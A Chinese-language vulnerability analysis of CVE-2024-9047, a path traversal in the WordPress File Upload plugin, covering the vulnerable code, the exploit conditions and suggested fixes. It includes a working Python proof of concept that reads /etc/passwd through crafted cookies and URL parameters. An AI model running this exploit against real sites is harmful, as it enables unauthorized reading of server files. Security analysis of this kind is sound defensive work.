CVE-2024-9047 (WordPress File Upload 插件漏洞分析)
字数 1498 2025-08-22 12:22:54
WordPress File Upload 插件漏洞分析 (CVE-2024-9047)
漏洞概述
WordPress File Upload 插件中存在一个路径遍历漏洞 (CVE-2024-9047),允许攻击者通过精心构造的请求读取服务器上的任意文件。该漏洞位于 wfu_file_downloader.php 文件中,由于对用户输入缺乏充分验证,导致攻击者可以控制文件路径并读取系统敏感文件。
漏洞分析
漏洞位置
漏洞主要存在于 wfu_file_downloader.php 文件中的 wfu_download_file() 函数,该函数直接调用了 wfu_fopen_for_downloader() 函数来打开文件,而没有对文件路径进行充分验证。
关键代码分析
-
文件路径获取逻辑:
$filepath = WFU_USVAR_downloader('wfu_storage_' . $file_code); -
文件打开操作:
if ($fd = wfu_fopen_for_downloader($filepath, "rb")) { // 文件读取和输出逻辑 } -
用户状态处理函数:
function WFU_USVAR_downloader($var) { global $wfu_user_state_handler; if ($wfu_user_state_handler == "dboption" && WFU_VAR("WFU_US_DBOPTION_BASE") == "cookies") return $_COOKIE[$var]; else return WFU_USVAR_session($var); }
漏洞利用条件
- 能够控制
wfu_storage_开头的 Cookie 值 - 能够控制
file参数的值 - 满足
wfu_file_downloader.php的初始条件检查
漏洞利用
利用步骤
-
构造特定的 GET 请求参数:
file: 控制要读取的文件标识符dboption_base: 必须设置为 "cookies"handler: 必须设置为 "dboption"session_legacy: 设置为 "1"dboption_useold: 设置为 "1"wfu_cookie: 不能为空ticket: 需要有效的时间戳
-
设置特定的 Cookie:
wfu_storage_[file_code]: 设置为要读取的文件路径wfu_download_ticket_[ticket]: 设置为当前时间戳wfu_ABSPATH: 设置为 "/" (根路径)wp_wpfileupload_[wfu_cookie]: 设置为任意值
利用 PoC
import requests
from urllib.parse import urljoin
import time
def fileuploadcheck(url):
timestamp = str(int(time.time()))
target_url = urljoin(url, "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?"
"file=dr0se"
"&dboption_base=cookies"
"&handler=dboption"
"&session_legacy=1"
"&dboption_useold=1"
"&wfu_cookie=wp_wpfileupload_dr0se"
"&ticket=dr0se")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Cookie": f"wp_wpfileupload_dr0se=1;"
f" wfu_storage_dr0se=etc/passwd;"
f" wfu_download_ticket_dr0se={timestamp}; "
f"wfu_ABSPATH=/;"
}
try:
response = requests.get(target_url, verify=False, headers=headers, timeout=10)
print(response.text)
except Exception as e:
print(f"Error while checking {url}: {e}")
if __name__ == "__main__":
url = input()
fileuploadcheck(url)
关键参数说明
-
URL 参数:
file=dr0se: 与 Cookie 中的wfu_storage_dr0se对应dboption_base=cookies: 使程序从 Cookie 中读取文件路径handler=dboption: 设置用户状态处理方式session_legacy=1和dboption_useold=1: 满足初始条件检查wfu_cookie=wp_wpfileupload_dr0se: 对应 Cookie 中的wp_wpfileupload_dr0seticket=dr0se: 对应 Cookie 中的wfu_download_ticket_dr0se
-
Cookie 参数:
wfu_storage_dr0se=etc/passwd: 指定要读取的文件路径wfu_download_ticket_dr0se={timestamp}: 提供有效的时间戳wfu_ABSPATH=/: 设置根路径wp_wpfileupload_dr0se=1: 满足wfu_cookie不为空的条件
漏洞修复建议
- 对用户输入的文件路径进行严格验证
- 限制文件读取的目录范围
- 更新到插件的最新版本
- 实施适当的文件权限控制
总结
该漏洞利用 WordPress File Upload 插件中文件下载功能的不安全实现,通过控制 Cookie 值和 URL 参数,攻击者可以构造恶意请求读取服务器上的任意文件。开发人员应始终对用户输入进行严格验证,并限制文件系统访问的范围。